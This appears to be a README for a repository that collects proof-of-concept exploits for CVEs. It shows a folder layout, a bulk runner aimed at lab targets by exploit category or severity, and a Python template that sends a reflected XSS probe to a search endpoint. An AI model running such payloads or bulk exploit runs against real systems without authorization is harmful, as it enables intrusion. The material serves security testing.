CVE-PoC-Hub/
├── README.md
├── CVE-2026-XXXXX/           # Each CVE gets its own folder
│   ├── README.md              # Description + steps
│   ├── exploit.py             # Working PoC
│   └── screenshot.png         # Proof of exploitation
├── templates/
│   └── poc-template.py        # Standard PoC template
└── poc-runner.py              # Bulk PoC runner

git clone https://github.com/javokhir-sec/CVE-PoC-Hub.git
cd CVE-PoC-Hub

# List all available PoCs
python poc-runner.py --list

# Run a specific PoC (in lab environment)
python poc-runner.py --cve CVE-2026-XXXXX --target http://lab-target.local

#!/usr/bin/env python3
"""
CVE-YYYY-XXXXX: [Vulnerability Type] in [Product]
CVSS: X.X | Severity: Critical/High/Medium/Low
Author: @javokhir-sec
"""

import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"

def exploit(target):
    """Execute the exploit and return True if vulnerable."""
    print(f"[*] Testing {target} for CVE-YYYY-XXXXX")

    # Step 1: Send malicious request
    payload = "<script>alert(1)</script>"
    r = requests.get(f"{target}/search?q={payload}")

    # Step 2: Verify exploitation
    if payload in r.text:
        print(f"[+] VULNERABLE! Payload reflected in response.")
        return True
    else:
        print(f"[-] Not vulnerable.")
        return False

if __name__ == "__main__":
    exploit(TARGET)

# Run all XSS PoCs against a target
python poc-runner.py --category xss --target http://lab.local

# Run all SQLi PoCs
python poc-runner.py --category sqli --target http://lab.local

# Run specific severity level
python poc-runner.py --severity critical --target http://lab.local